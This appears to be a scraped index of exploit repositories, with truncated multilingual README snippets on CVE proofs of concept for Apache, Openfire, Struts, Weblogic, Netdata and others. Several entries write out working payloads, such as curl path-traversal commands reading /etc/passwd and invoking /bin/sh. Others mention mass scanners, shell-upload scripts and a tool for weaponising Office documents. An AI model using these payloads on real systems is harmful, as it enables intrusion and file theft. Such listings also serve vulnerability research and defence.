claude_opus_cve_2023_0266

Demonstration that Claude 3 Opus does not understand CVE-2023-0266 and does not find it Demo 1. Even if told where the bug is Opus does not find it, and hallucinates the presence of lock acquisitions Demo 2. "Prompt engineering" aka telling the LLM exactly how to find the bug also doesn't work De...

CVE-2023-23946-POC

CVE-2023-23946 POC Exploit Explanation and POC of the CVE-2023-23946 The CVE-2023-23946 vulnerability is caused by a flaw in the way git handles symbolic links. When git creates a symbolic link, it doesnt actually handle it as a symbolic link and because of that we can exploit it to point to file...

CVE-2021-41773-L-

CVE-2021-41773 🐛 Уязвимость обхода пути и раскрытия файлов в Apache HTTP Server 2.4.49 Ошибка была обнаружена в изменении, внесенном в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник может использовать атаку обхода пути для сопоставления URL с файлами вне каталогов, настроенных...

CVE-2025-60574

Обнаружители уязвимостей и авторы эксплойтов Стефано Андреатта и Джакопо Кандидо Аугелли CVE-2025-60574 Описание уязвимости В tQuadra CMS 4.2.1117 обнаружена уязвимость типа Local File Inclusion LFI. Проблема существует в пути "/styles/", который не обеспечивает надлежащую очистку вводимых...

OWASP-Subtractive-Hardening-Top-10

Проект OWASP Subtractive Security Top 10 Обзор Проект OWASP Subtractive Security Top 10 — это инициатива по выявлению, документированию и продвижению наиболее эффективных возможностей снижения киберриска за счёт устранения путей атак. В отличие от традиционных рекомендаций по безопасности, которы...

CVE-2020-29134

Платформа Totvs Fluig Fluig — это платформа для повышения производительности и совместной работы, которая интегрируется с ERP-системой и другими системами вашей компании, чтобы революционизировать то, как вы и ваша команда работаете. CVE-2020-29134 Платформа TOTVS Fluig допускает обход пути через...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Follow us Vulnmachines YouTube Twitter...

apache-vulnerable

Сканирование версий Apache «ZERO-DAY» Apache Version 2.4.49 and 2.4.50 CVE-2021-41773 and CVE-2021-42013 Как использовать : Вам понадобится nuclei! https://github.com/projectdiscovery/nuclei Проверьте локальную установку nuclei и протестируйте шаблон nuclei -t apache-vulnerable-versions.yaml -vv ...

CVE-2023-26469

CVE-2023-26469 REC PoC Этот репозиторий содержит эксплойт-скрипт для CVE-2023-26469, который позволяет атакующему использовать обход пути для доступа к файлам и выполнения кода на сервере, работающем под управлением Jorani 1.0.0. Кроме того, скрипт включает функцию загрузки шелла для дальнейшей...

CVE-2018-11776

Vulnerable docker container for CVE-2018-11776 docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 Request : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Result : http://:8080/struts2-showcase-2.3.14/666/help.action PoC - 2...

mass_cve-2021-41773

masscve-2021-41773 MASS CVE-2021-41773 스크린샷 사용법 ! python3 -m pip install requests pyyhon3 cve-2021-41773.py urlist.txt pool 참고 ! 결과는 vuln.txt에 자동으로 저장됩니다. 일반 디렉토리를 https://github.com/justakazh/masscve-2021-41773/blob/4579bdbbda666b47b40116518d3fc5729574a2f8/cve-2021-41773.pyL49 에 추가할 수 있습니다. 참고 자...

CVE-2023-32315

CVE-2023-32315 GET /setup/setup-s/%002e%002e/Su002esu002e/log.jsp HTTP/1.1 Host: 192.168.40.132:9090 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; X64 AppleWebKit/537.36 KHTML, like Gecko Chrome/109.0.5414.120 Safari/537.36 Accept:...

CVE-2025-55182-research

CVE-2025-55182 - React Server Components RCE Écrit par IA/Claude https://github.com/ejpir/CVE-2025-55182-bypass TL;DR CVE-2025-55182 est une vulnérabilité RCE critique dans le Flight Protocol de React. La chaîne d'attaque combine traversée de chemin + injection de faux chunk + abus du...

CVE-2024-4956-Bulk-Scanner

README.md CVE-2024-4956 Scanner en masse Avertissement Cet outil est destiné uniquement à des fins éducatives et à des tests dans des environnements d'entreprise. https://twitter.com/nav1n0x/ et https://github.com/ifconfig-me déclinent toute responsabilité en cas d'utilisation abusive de ce code...

CVE-2020-14882

CVE-2020–14882 Contournement non autorisé RCE sur Weblogic Contournement du correctif avec CVE-2020–14882 private static final String IllegalUrl = new String";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", ""; Liste %252E%252E %2E%2E .. %3E %3C ; Version minuscule "%252E%252E%252F".lower...

doctrack

Doctrack Outil pour manipuler et armer les documents Office Open XML. Fonctionnalités Créer des documents Office Open XML Word, Excel Insérer des pixels de suivi et des chemins UNC Injection de modèles distants Insérer des parties CustomXML Inspecter les URL cibles externes, les métadonnées et le...

CVE-2024-45241

POC - CVE-2024-45241: Обход каталога в CentralSquare CryWolf Обзор уязвимости Идентификатор CVE: CVE-2024-45241 Продукт: CentralSquare CryWolf Управление ложными тревогами Затронутый компонент: GeneralDocs.aspx Тип уязвимости: Обход каталога Дата обнаружения: 2024-08-09 Описание Уязвимость обхода...

CVE-2024-24809-Proof-of-concept

Детали CVE-2024-24809 Описание Traccar — это система GPS-отслеживания с открытым исходным кодом. Версии до 6.0 уязвимы для path traversal и неограниченной загрузки файлов опасного типа. Поскольку система по умолчанию разрешает регистрацию, злоумышленники могут получить обычные права пользователя,...

CVE-2024-48914

Этот пост является исследовательской статьёй, опубликованной EQSTLab. БлагодарностьRajesh Sharma, который обнаружил эту уязвимость. CVE-2024-48914 ★ CVE-2024-48914 Произвольное чтение файлов и DoS PoC ★ Описание CVE-2024-48914 : Уязвимость произвольного чтения файлов и DoS в vendure-ecommerce...

CVE-2024-32019_poc

Повышение привилегий через ndsudo локальный эксплойт Netdata Это альтернативный POC для эксплуатации уязвимой утилиты ndsudo, входящей в состав Netdata, с целью локального повышения привилегий. Эксплойт работает путём добавления скрипта в PATH пользователя, подменяя разрешённую команду nvme для...